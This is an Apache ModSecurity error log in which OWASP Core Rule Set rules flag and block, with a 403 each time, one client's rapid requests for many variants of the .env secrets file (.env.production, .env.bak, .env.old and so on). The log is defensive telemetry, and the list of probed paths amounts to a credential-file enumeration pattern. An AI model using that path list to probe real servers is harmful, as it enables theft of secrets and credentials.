[Mon Oct 26 23:56:17.125236 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAg4TDjgyCtC8OqdBtuSAAAAAc"]
[Mon Oct 26 23:56:17.125561 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAg4TDjgyCtC8OqdBtuSAAAAAc"]
[Mon Oct 26 23:56:17.336468 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAg4TDjgyCtC8OqdBtuSQAAAAc"]
[Mon Oct 26 23:56:17.336730 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAg4TDjgyCtC8OqdBtuSQAAAAc"]
[Mon Oct 26 23:56:17.337096 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAg4TDjgyCtC8OqdBtuSQAAAAc"]
[Mon Oct 26 23:56:17.544900 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auAg4TDjgyCtC8OqdBtuSgAAAAc"]
[Mon Oct 26 23:56:17.545165 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auAg4TDjgyCtC8OqdBtuSgAAAAc"]
[Mon Oct 26 23:56:17.545560 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auAg4TDjgyCtC8OqdBtuSgAAAAc"]
[Mon Oct 26 23:56:17.753971 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auAg4TDjgyCtC8OqdBtuSwAAAAc"]
[Mon Oct 26 23:56:17.754186 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auAg4TDjgyCtC8OqdBtuSwAAAAc"]
[Mon Oct 26 23:56:17.754561 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auAg4TDjgyCtC8OqdBtuSwAAAAc"]
[Mon Oct 26 23:56:17.964518 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auAg4TDjgyCtC8OqdBtuTAAAAAc"]
[Mon Oct 26 23:56:17.964815 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auAg4TDjgyCtC8OqdBtuTAAAAAc"]
[Mon Oct 26 23:56:17.965242 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auAg4TDjgyCtC8OqdBtuTAAAAAc"]
[Mon Oct 26 23:56:18.175593 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auAg4jDjgyCtC8OqdBtuTQAAAAc"]
[Mon Oct 26 23:56:18.175815 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auAg4jDjgyCtC8OqdBtuTQAAAAc"]
[Mon Oct 26 23:56:18.176172 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auAg4jDjgyCtC8OqdBtuTQAAAAc"]
[Mon Oct 26 23:56:18.393510 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auAg4jDjgyCtC8OqdBtuTgAAAAc"]
[Mon Oct 26 23:56:18.393780 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auAg4jDjgyCtC8OqdBtuTgAAAAc"]
[Mon Oct 26 23:56:18.394106 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auAg4jDjgyCtC8OqdBtuTgAAAAc"]
[Mon Oct 26 23:56:18.615429 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auAg4jDjgyCtC8OqdBtuTwAAAAc"]
[Mon Oct 26 23:56:18.615672 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auAg4jDjgyCtC8OqdBtuTwAAAAc"]
[Mon Oct 26 23:56:18.615992 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auAg4jDjgyCtC8OqdBtuTwAAAAc"]
[Mon Oct 26 23:56:18.837392 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auAg4jDjgyCtC8OqdBtuUAAAAAc"]
[Mon Oct 26 23:56:18.837651 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auAg4jDjgyCtC8OqdBtuUAAAAAc"]
[Mon Oct 26 23:56:18.838016 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auAg4jDjgyCtC8OqdBtuUAAAAAc"]
[Mon Oct 26 23:56:19.056867 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auAg4zDjgyCtC8OqdBtuUQAAAAc"]
[Mon Oct 26 23:56:19.057026 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auAg4zDjgyCtC8OqdBtuUQAAAAc"]
[Mon Oct 26 23:56:19.057315 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auAg4zDjgyCtC8OqdBtuUQAAAAc"]
[Mon Oct 26 23:56:19.273658 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auAg4zDjgyCtC8OqdBtuUgAAAAc"]
[Mon Oct 26 23:56:19.274016 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auAg4zDjgyCtC8OqdBtuUgAAAAc"]
[Mon Oct 26 23:56:19.274508 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auAg4zDjgyCtC8OqdBtuUgAAAAc"]
[Mon Oct 26 23:56:19.490924 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auAg4zDjgyCtC8OqdBtuUwAAAAc"]
[Mon Oct 26 23:56:19.491157 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auAg4zDjgyCtC8OqdBtuUwAAAAc"]
[Mon Oct 26 23:56:19.491459 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auAg4zDjgyCtC8OqdBtuUwAAAAc"]
[Mon Oct 26 23:56:19.707243 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auAg4zDjgyCtC8OqdBtuVAAAAAc"]
[Mon Oct 26 23:56:19.707489 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auAg4zDjgyCtC8OqdBtuVAAAAAc"]
[Mon Oct 26 23:56:19.707832 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auAg4zDjgyCtC8OqdBtuVAAAAAc"]
[Mon Oct 26 23:56:19.923910 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auAg4zDjgyCtC8OqdBtuVQAAAAc"]
